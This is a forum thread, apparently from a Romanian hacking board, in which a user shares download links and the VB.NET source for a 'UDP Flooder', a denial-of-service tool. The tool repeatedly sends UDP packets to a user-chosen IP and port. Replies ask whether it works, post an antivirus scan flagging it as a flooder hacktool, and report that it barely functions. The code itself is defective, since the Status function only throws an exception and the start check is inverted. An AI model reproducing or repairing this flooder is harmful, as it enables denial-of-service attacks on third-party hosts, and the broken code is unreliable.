UDP Flooder + source code in VB.NET

[bc-vnt]

Download : UDP Flooder.exe download - 2shared

Download2 : Zippyshare.com - UDP Flooder.exe

Imports System.Net, System.Net.Sockets, System.ComponentModel
Imports System.Windows.Forms.VisualStyles.VisualStyleElement

Public Class Form1
    Public Enum Staus
        Attaking = 1
        Stopped = 2
    End Enum
    Friend WithEvents bgFlood As New BackgroundWorker
    Dim IsFlooding As Boolean = False
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        bgFlood.WorkerReportsProgress = True

    End Sub
    Private Sub Flood(ByVal sende As Object, ByVal e As DoWorkEventArgs) Handles bgFlood.DoWork
        Dim IP As IPAddress = IPAddress.Parse(Host.Text)
        Dim IPandPort As New IPEndPoint(IP, Convert.ToInt32(Port.Text))
        Dim Packet As Byte() = New Byte(PacketSize.Text) {}
        Dim SockNum As Integer = Sockets.Text
        Do While IsFlooding = True
            For i = 0 To SockNum
                If IsFlooding = True Then
                    Dim _Sock(i) As Socket
                    _Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                    Try
                        _Sock(i).SendTo(Packet, IPandPort)
                        bgFlood.ReportProgress(Status)
                        Threading.Thread.Sleep(500)
                    Catch ex As Exception
                        Threading.Thread.Sleep(500)
                    End Try
                Else
                    Exit Do
                End If
            Next

        Loop
        bgFlood.ReportProgress(Status)
    End Sub
    Private Sub Report(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles bgFlood.ProgressChanged
        Select Case e.ProgressPercentage
            Case Status()
                ListBox1.Items.Add("Flooding..." & Date.Now.ToLocalTime)
                ListBox1.SelectedIndex = ListBox1.Items.Count - 1
            Case Status()
                ListBox1.Items.Add("Stopped... -" & Date.Now.ToLocalTime)
                ListBox1.SelectedIndex = ListBox1.Items.Count - 1
        End Select
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        IsFlooding = True
        If Not bgFlood.IsBusy = False Then
            bgFlood.RunWorkerAsync()
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        IsFlooding = False
    End Sub

    Private Function Status() As Integer
        Throw New NotImplementedException
    End Function

End Class

Edited August 11, 2012 by bc-vnt

[JokerulX]

l-a testat careva?

works?

[banks]

l-a testat careva?

works?

Nu

[chioara3]

Virus Total : https://www.virustotal.com/file/554ac57e29dfbb4a53d38266812397a3bb71b01273064a7397839c856a09eb46/analysis/1344761234/

[Guest Kovalski]

^ pai e pentru ddos ce te astepti sa iti arate la scan?

a variant of MSIL/HackTool.Flooder

HEUR:HackTool.MSIL.Flooder.gen

[chioara3]

`

^ pai e pentru ddos ce te astepti sa iti arate la scan?

a variant of MSIL/HackTool.Flooder

HEUR:HackTool.MSIL.Flooder.gen

Poate DOS.

[LegioNRST]

L-am 'f?cut' eu de curiozitate ?i nu prea face treab?

[caddyptm]

foarte bun,multumesc umploader